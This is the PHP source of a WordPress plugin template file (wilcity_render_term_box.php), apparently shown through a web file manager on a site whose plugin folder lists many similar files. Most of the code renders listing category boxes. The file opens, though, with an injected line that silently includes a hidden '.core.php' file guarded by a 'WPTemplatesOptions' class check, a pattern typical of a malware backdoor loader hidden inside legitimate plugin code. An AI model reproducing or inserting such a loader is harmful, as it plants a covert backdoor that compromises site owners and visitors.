PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-shortcodes
/
core
<?php use WilokeListingTools\Framework\Helpers\GetSettings; use WILCITY_SC\SCHelpers; use WILCITY_SC\ParseShortcodeAtts\ParseShortcodeAtts; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function wilcity_render_term_box($oTerm, $aAtts = []) { $aTermIcon = WilokeHelpers::getTermOriginalIcon($oTerm); $innerClass = $aAtts['toggle_box_gradient'] == 'enable' ? 'textbox-1_style2__cPkly textbox-1_module__bn5-O' : 'textbox-1_module__bn5-O bg-color-primary--hover'; $featuredImg = GetSettings::getTermFeaturedImg($oTerm, $aAtts['image_size']); $oParseAtts = new ParseShortcodeAtts($aAtts); $totalChildren = $oParseAtts->countPostsInTerm($oTerm); if ($totalChildren < 1) { $i18 = esc_html__('0 Listing', 'wilcity-shortcodes'); } else { $i18 = sprintf( _n('%d Listing', '%d Listings', $totalChildren, 'wilcity-shortcodes'), $totalChildren ); } ?> <div class="<?php echo esc_attr($aAtts['column_classes']); ?>"> <div class="<?php echo esc_attr($innerClass); ?>"> <?php if ($aAtts['toggle_box_gradient'] == 'enable'): $leftBg = GetSettings::getTermMeta($oTerm->term_id, 'left_gradient_bg'); $rightBg = GetSettings::getTermMeta($oTerm->term_id, 'right_gradient_bg'); $tiltedDegrees = GetSettings::getTermMeta($oTerm->term_id, 'gradient_tilted_degrees'); $leftBg = empty($leftBg) ? '#006bf7' : $leftBg; $rightBg = empty($rightBg) ? '#f06292' : $rightBg; $tiltedDegrees = empty($tiltedDegrees) ? -10 : $tiltedDegrees; ?> <div class="wil-overlay" style="background-image: linear-gradient(<?php echo esc_attr($tiltedDegrees); ?>deg, <?php echo esc_attr($leftBg) ?> 0%, <?php echo esc_attr($rightBg) ?> 100%)"></div> <a href="<?php echo esc_url($oParseAtts->parseTermLink($oTerm)); ?>" class="bg-cover" style="background-image: url(<?php echo esc_url($featuredImg); ?>)"> <?php if (empty($aTermIcon)) : ?> <div class="textbox-1_icon__3wBDQ" style="color: #e45b5b"><i class="la la-heart-o"></i></div> <?php else: ?> <?php if ($aTermIcon['type'] == 'image') : ?> <div class="textbox-1_icon__3wBDQ"> <img src="<?php echo esc_url($aTermIcon['url']); ?>" alt="<?php echo esc_attr($oTerm->name); ?>"></div> <?php else: ?> <div class="textbox-1_icon__3wBDQ" style="color: <?php echo esc_attr($aTermIcon['color']); ?>;"> <i class="<?php echo esc_attr($aTermIcon['icon']); ?>"></i></div> <?php endif; ?> <?php endif; ?> <div class="textbox-1_content__3IRq1"> <span class="textbox-1_text__5g4er"><?php echo esc_html($oTerm->name); ?></span> <h3 class="textbox-1_title__Tf1Gy"><?php echo esc_html($i18); ?></h3> <span class="textbox-1_arrow__38itC"><i class="la la-long-arrow-right"></i></span> </div> </a> <?php else: ?> <a href="<?php echo esc_url(SCHelpers::getTermLink($aAtts, $oTerm)); ?>"> <div class="textbox-1_icon__3wBDQ bg-cover" style="background-image: url('<?php echo esc_url($featuredImg); ?>')"> <div class="wil-overlay"></div> <?php if ($aTermIcon['type'] == 'image') : ?> <img src="<?php echo esc_url($aTermIcon['url']); ?>" alt="<?php echo esc_attr($oTerm->name); ?>"> <?php else: ?> <i class="<?php echo esc_attr($aTermIcon['icon']); ?>"></i> <?php endif; ?> </div> <div class="textbox-1_content__3IRq1"> <span class="textbox-1_text__5g4er"><?php echo esc_html($oTerm->name); ?></span> <h3 class="textbox-1_title__Tf1Gy"><?php echo esc_html($i18); ?></h3> <span class="textbox-1_arrow__38itC"><i class="la la-long-arrow-right"></i></span> </div> </a> <?php endif; ?> </div> </div> <?php }
[+]
..
[-] wilcity_render_testimonial_item.php
[edit]
[-] wilcity_render_team_intro_slider.php
[edit]
[-] wilcity_render_modern_term_box.php
[edit]
[-] wilcity_render_modern_term_boxes.php
[edit]
[-] .core.php
[edit]
[-] wilcity_render_contact_us.php
[edit]
[-] wilcity_render_restaurant_listing.php
[edit]
[-] wilcity_render_team_intro_slider_item.php
[edit]
[-] wilcity_render_term_boxes.php
[edit]
[-] wilcity_render_post_types.php
[edit]
[-] wilcity_event_slider_item.php
[edit]
[-] wilcity_listing_slider_item.php
[edit]
[-] wilcity_render_box_icon.php
[edit]
[-] wilcity_render_new_grid.php
[edit]
[-] wilcity_render_hero_search_form.php
[edit]
[-] wilcity_render_term_masonry_items.php
[edit]
[-] wilcity_render_wiloke_wave.php
[edit]
[-] wilcity_render_grid_post.php
[edit]
[-] wilcity_render_rectangle_term_boxes.php
[edit]
[-] wilcity_render_restaurant_listings.php
[edit]
[-] wilcity_widget_list_style.php
[edit]
[-] wilcity_render_heading_ribbon.php
[edit]
[-] wilcity_render_testimonials.php
[edit]
[-] wilcity_render_restaunrant_menu_item.php
[edit]
[-] wilcity_render_events_grid.php
[edit]
[-] wilcity_render_image_box.php
[edit]
[-] wilcity_render_intro_box.php
[edit]
[-] wilcity_render_term_box.php
[edit]
[-] wilcity_render_listings_tabs.php
[edit]
[-] wilcity_render_restaurant_list_menu.php
[edit]
[-] wilcity_render_slider.php
[edit]
[-] wilcity_render_heading.php
[edit]
[-] wilcity_render_event_item.php
[edit]
[-] wilcity_render_rectangle_term_box.php
[edit]
[-] wilcity_post_slider_item.php
[edit]
[-] wilcity_render_terms_slider.php
[edit]
[-] wilcity_render_term_masonry_item.php
[edit]
[-] wilcity_render_grid_item.php
[edit]
[-] wilcity_render_full_width_list_item.php
[edit]
[-] wilcity_render_map.php
[edit]
[-] wilcity_render_hero.php
[edit]
[-] wilcity_terms_box.php
[edit]
[-] wilcity_render_author_slider.php
[edit]
[-] wilcity_render_grid.php
[edit]